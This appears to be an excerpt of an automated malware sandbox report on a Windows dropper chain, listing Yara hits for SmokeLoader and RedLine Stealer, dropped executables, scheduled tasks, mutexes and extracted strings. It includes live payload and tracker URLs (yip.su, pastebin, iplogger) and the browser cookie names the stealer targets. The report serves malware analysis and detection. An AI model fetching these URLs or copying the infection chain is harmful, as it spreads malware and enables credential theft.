0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2828616710.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826400120.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840128095.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2832748402.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2836881277.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2873758197.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840628725.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2830540798.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account
Source: MPGPH131.exe, 0000001B.00000003.3206133655.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820673524.0000000007C6A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.000000000144A000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820817674.0000000001443000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/account/v/
Source: d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountE
Source: d361f35322.exe, 00000024.00000003.2828616710.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826400120.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840128095.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2832748402.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2836881277.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2873758197.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2840628725.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2830540798.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825253363.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3088938529.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2824119223.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2829699050.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839577169.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2839809905.0000000007CCF000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2826875397.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2825684612.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2822343743.0000000007CB4000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2837144727.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2838516911.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountJ
Source: MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube
Source: MPGPH131.exe, 0000001B.00000003.3206207533.0000000008124000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820488974.0000000007CDD000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2820609546.0000000007CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountYouTube/v/
Source: MPGPH131.exe, 0000001B.00000002.3354809697.0000000007CC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/accountkO
Source: d361f35322.exe, 00000024.00000003.2820673524.0000000007C9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/signin?action_handle_signin%3Dtrue%26app%3Ddesktop%26hl%3Den%26next%3Dhttps%
Source: file300un.exe, 00000032.00000002.7140120246.000001F380091000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://yip.su/RNWPd.exeChttps://pastebin.com/raw/E0rY26ni5https://iplogger.com/1lyxz
Source: MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comVISITOR_INFO1_LIVE/
Source: MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comVISITOR_INFO1_LIVEv10%
Source: d361f35322.exe, 00000009.00000003.2912110551.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comVISITOR_PRIVACY_METADATA/(9
Source: u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comVISITOR_PRIVACY_METADATAv10
Source: d361f35322.exe, 00000009.00000003.2912110551.0000000007DBC000.00000004.00000020.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comYSC/)?
Source: MPGPH131.exe, 0000001B.00000003.3204849861.0000000008153000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819272725.0000000007CB5000.00000004.00000020.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2819336338.0000000007CE0000.00000004.00000020.00020000.00000000.sdmp, u6po.0.exe, 00000033.00000003.2232787568.00000000220DC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://youtube.comYSCv10

Key, Mouse, Clipboard, Microphone and Screen Capturing

Yara detected SmokeLoader

Source: Yara match	File source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY

Source: ac861238af.exe, 00000010.00000003.7189686015.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: _WINAPI_REGISTERRAWINPUTDEVICESYx

memstr_ee7ff430-3

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	File created: C:\Users\user\AppData\Local\Temp\TmpC21F.tmp			Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	File created: C:\Users\user\AppData\Local\Temp\TmpC1FF.tmp			Jump to dropped file

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e Author: unknown
Source: 00000031.00000002.2228939653.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f Author: unknown
Source: 00000031.00000002.2228816968.0000000001B2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c Author: unknown

.NET source code contains very large array initializations

Source: swiiiii[1].exe.10.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 297472
Source: swiiiii.exe.10.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 297472
Source: swiiii[1].exe.10.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 153088
Source: swiiii.exe.10.dr, RemoteObjects.cs	Large array initialization: RemoteObjects: array initializer size 153088

Binary is likely a compiled AutoIt script file

Source: ac861238af.exe, 00000010.00000000.1932011901.0000000000762000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: This is a third-party compiled AutoIt script.		memstr_95765f4c-3
Source: ac861238af.exe, 00000010.00000000.1932011901.0000000000762000.00000002.00000001.01000000.0000000E.sdmp	String found in binary or memory: AnyArabicArmenianAvestanBalineseBamumBassa_VahBatakBengaliBopomofoBrahmiBrailleBugineseBuhidCCanadian_AboriginalCarianCaucasian_AlbanianCcCfChakmaChamCherokeeCnCoCommonCopticCsCuneiformCypriotCyrillicDeseretDevanagariDuployanEgyptian_HieroglyphsElbasanEthiopicGeorgianGlagoliticGothicGranthaGreekGujaratiGurmukhiHanHangulHanunooHebrewHiraganaImperial_AramaicInheritedInscriptional_PahlaviInscriptional_ParthianJavaneseKaithiKannadaKatakanaKayah_LiKharoshthiKhmerKhojkiKhudawadiLL&LaoLatinLepchaLimbuLinear_ALinear_BLisuLlLmLoLtLuLycianLydianMMahajaniMalayalamMandaicManichaeanMcMeMeetei_MayekMende_KikakuiMeroitic_CursiveMeroitic_HieroglyphsMiaoMnModiMongolianMroMyanmarNNabataeanNdNew_Tai_LueNkoNlNoOghamOl_ChikiOld_ItalicOld_North_ArabianOld_PermicOld_PersianOld_South_ArabianOld_TurkicOriyaOsmanyaPPahawh_HmongPalmyrenePau_Cin_HauPcPdPePfPhags_PaPhoenicianPiPoPsPsalter_PahlaviRejangRunicSSamaritanSaurashtraScSharadaShavianSiddhamSinhalaSkSmSoSora_SompengSundaneseSyloti_NagriSyriacTagalogTagbanwaTai_LeTai_ThamTai_VietTakriTamilTeluguThaanaThaiTibetanTifinaghTirhutaUgariticVaiWarang_CitiXanXpsXspXucXwdYiZZlZpZsSDSOFTWARE\Classes\\CLSID\\\IPC$This is a third-party compiled AutoIt script."runasError allocating memory.SeAssignPrimaryTokenPrivilegeSeIncreaseQuotaPrivilegeSeBackupPrivilegeSeRestorePrivilegewinsta0defaultwinsta0\defaultComboBoxListBoxSHELLDLL_DefViewlargeiconsdetailssmalliconslistCLASSCLASSNNREGEXPCLASSIDNAMEXYWHINSTANCETEXT%s%u%s%dLAST[LASTACTIVE[ACTIVEHANDLE=[HANDLE:REGEXP=[REGEXPTITLE:CLASSNAME=[CLASS:ALL[ALL]HANDLEREGEXPTITLETITLEThumbnailClassAutoIt3GUIContainer		memstr_1d9ccc15-0

PE file contains section with special chars

Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: 1CMweaqlKp.exe	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: explorta.exe.0.dr	Static PE information: section name:
Source: sarra[1].exe.1.dr	Static PE information: section name:
Source: sarra[1].exe.1.dr	Static PE information: section name: .idata
Source: sarra[1].exe.1.dr	Static PE information: section name:
Source: amert[1].exe.1.dr	Static PE information: section name:
Source: amert[1].exe.1.dr	Static PE information: section name: .idata
Source: amert[1].exe.1.dr	Static PE information: section name:
Source: amert.exe.1.dr	Static PE information: section name:
Source: amert.exe.1.dr	Static PE information: section name: .idata
Source: amert.exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name:
Source: random[1].exe.1.dr	Static PE information: section name: .idata
Source: random[1].exe.1.dr	Static PE information: section name:
Source: d361f35322.exe.1.dr	Static PE information: section name:
Source: d361f35322.exe.1.dr	Static PE information: section name: .idata
Source: d361f35322.exe.1.dr	Static PE information: section name:
Source: explorha.exe.7.dr	Static PE information: section name:
Source: explorha.exe.7.dr	Static PE information: section name: .idata
Source: explorha.exe.7.dr	Static PE information: section name:
Source: RageMP131.exe.9.dr	Static PE information: section name:
Source: RageMP131.exe.9.dr	Static PE information: section name: .idata
Source: RageMP131.exe.9.dr	Static PE information: section name:
Source: MPGPH131.exe.9.dr	Static PE information: section name:
Source: MPGPH131.exe.9.dr	Static PE information: section name: .idata
Source: MPGPH131.exe.9.dr	Static PE information: section name:

Source: C:\Users\user\Desktop\1CMweaqlKp.exe	File created: C:\Windows\Tasks\explorta.job			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000019001\amert.exe	File created: C:\Windows\Tasks\explorha.job			Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008D8080	9_2_008D8080
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0082001D	9_2_0082001D
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008761D0	9_2_008761D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008BD2B0	9_2_008BD2B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008BC3E0	9_2_008BC3E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008BB7E0	9_2_008BB7E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0085F730	9_2_0085F730
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0091C8D0	9_2_0091C8D0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_007EB8E0	9_2_007EB8E0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008B49B0	9_2_008B49B0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00878A80	9_2_00878A80
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00871A60	9_2_00871A60
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0087CBF0	9_2_0087CBF0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00887D20	9_2_00887D20
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0087AEC0	9_2_0087AEC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00873ED0	9_2_00873ED0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0086DF60	9_2_0086DF60
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_009240A0	9_2_009240A0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_009120C0	9_2_009120C0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00817190	9_2_00817190
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00862100	9_2_00862100
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00881130	9_2_00881130
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00923160	9_2_00923160
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0091F280	9_2_0091F280
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0082035F	9_2_0082035F
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008D0350	9_2_008D0350
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0080F570	9_2_0080F570
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00989680	9_2_00989680
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008347AD	9_2_008347AD
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0081A918	9_2_0081A918
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0081C950	9_2_0081C950
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00924AE0	9_2_00924AE0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00925A40	9_2_00925A40
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_0082DA74	9_2_0082DA74
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008C4B90	9_2_008C4B90
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00838BA0	9_2_00838BA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00870BA0	9_2_00870BA0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00838E20	9_2_00838E20
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_00881E40	9_2_00881E40
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008CBFC0	9_2_008CBFC0
Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe	Code function: 9_2_008CCFC0	9_2_008CCFC0

Source: Joe Sandbox View

Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: String function: 007FACE0 appears 86 times

Source: C:\Users\user\AppData\Local\Temp\1000066001\swiiiii.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2588 -s 928

Source: explorta.exe.0.dr	Static PE information: Number of sections : 12 > 10
Source: 1CMweaqlKp.exe	Static PE information: Number of sections : 12 > 10

Source: file300un.exe.10.dr	Static PE information: No import functions for PE file found
Source: file300un[1].exe.10.dr	Static PE information: No import functions for PE file found

Source: 1CMweaqlKp.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000031.00000002.2229022734.0000000003640000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000031.00000002.2229087093.0000000003661000.00000004.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
Source: 00000031.00000002.2228939653.00000000034F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23
Source: 00000031.00000002.2228816968.0000000001B2B000.00000040.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12

Source: swiiiii[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: swiiiii.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: swiiii[1].exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: swiiii.exe.10.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: 1CMweaqlKp.exe	Static PE information: Section: ZLIB complexity 0.9998594874100719
Source: 1CMweaqlKp.exe	Static PE information: Section: ZLIB complexity 0.9919149709302325
Source: 1CMweaqlKp.exe	Static PE information: Section: ZLIB complexity 1.00537109375
Source: 1CMweaqlKp.exe	Static PE information: Section: .boot ZLIB complexity 0.9902337473891388
Source: 1CMweaqlKp.exe	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: explorta.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9998594874100719
Source: explorta.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9919149709302325
Source: explorta.exe.0.dr	Static PE information: Section: ZLIB complexity 1.00537109375
Source: explorta.exe.0.dr	Static PE information: Section: .boot ZLIB complexity 0.9902337473891388
Source: explorta.exe.0.dr	Static PE information: Section: .reloc ZLIB complexity 1.5
Source: amert[1].exe.1.dr	Static PE information: Section: ZLIB complexity 0.9981777815013405
Source: amert[1].exe.1.dr	Static PE information: Section: avcjhwxy ZLIB complexity 0.9946098513719512
Source: amert.exe.1.dr	Static PE information: Section: ZLIB complexity 0.9981777815013405
Source: amert.exe.1.dr	Static PE information: Section: avcjhwxy ZLIB complexity 0.9946098513719512
Source: explorha.exe.7.dr	Static PE information: Section: ZLIB complexity 0.9981777815013405
Source: explorha.exe.7.dr	Static PE information: Section: avcjhwxy ZLIB complexity 0.9946098513719512
Source: gold[1].exe.10.dr	Static PE information: Section: .Left ZLIB complexity 0.998365875385208
Source: gold.exe.10.dr	Static PE information: Section: .Left ZLIB complexity 0.998365875385208

Source: sarra[1].exe.1.dr

Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: file300un[1].exe.10.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: file300un.exe.10.dr, -.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: classification engine

Classification label: mal100.phis.troj.spyw.expl.evad.winEXE@133/199@0/39

Source: C:\Users\user\AppData\Local\Temp\1000020001\d361f35322.exe

Code function: 9_2_008BD2B0 RegOpenKeyExA,RegQueryValueExA,RegOpenKeyExA,RegQueryValueExA,GetLocalTime,GetTimeZoneInformation,TzSpecificLocalTimeToSystemTime,RegOpenKeyExA,RegQueryValueExA,GetSystemInfo,GlobalMemoryStatusEx,CreateToolhelp32Snapshot,RegOpenKeyExA,RegEnumKeyExA,RegOpenKeyExA,RegQueryValueExA,RegQueryValueExA,

9_2_008BD2B0

Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\sarra[1].exe

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8944:120:WilError_03
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7628:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8272:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6580:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:3756:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6260:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe	Mutant created: \Sessions\1\BaseNamedObjects\a091ec0a6e22276a96a99c1d34ef679c
Source: C:\Users\user\AppData\Local\Temp\1000069001\NewB.exe	Mutant created: \Sessions\1\BaseNamedObjects\07c6bc37dc50874878dcb010336ed906
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8132:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:8044:120:WilError_03
Source: C:\Users\user\AppData\Local\Temp\5454e6f062\explorta.exe	Mutant created: \Sessions\1\BaseNamedObjects\006700e5a2ab05704bbb0c589b88924d
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess2588

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

File created: C:\Users\user\AppData\Local\Temp\5454e6f062

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Processor
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process Where SessionId='1'
Source: C:\Users\user\AppData\Local\Temp\1000071001\jok.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_Process

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\1CMweaqlKp.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\09fd851a4f\explorha.exe

Process created: C:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\rundll32.exe" C:\Users\user\AppData\Roaming\a091ec0a6e2227\cred64.dll, Main

Source: d361f35322.exe, 00000009.00000002.3072030296.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, MPGPH131.exe, 0000001B.00000003.2069728672.0000000004FF0000.00000004.00001000.00020000.00000000.sdmp, MPGPH131.exe, 0000001B.00000002.3349331204.0000000000701000.00000040.00000001.01000000.00000012.sdmp, MPGPH131.exe, 0000001C.00000003.2070120899.0000000005180000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000003.2021888097.00000000050E0000.00000004.00001000.00020000.00000000.sdmp, d361f35322.exe, 00000024.00000002.3072062602.00000000007E1000.00000040.00000001.01000000.0000000C.sdmp, RageMP131.exe, 0000002E.00000003.2138214229.0000000004C70000.00000004.00001000.00020000.00000000.sdmp, RageMP131.exe, 0000002E.00000002.2634123106.0000000000891000.00000040.00000001.01000000.0000001B.sdmp	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
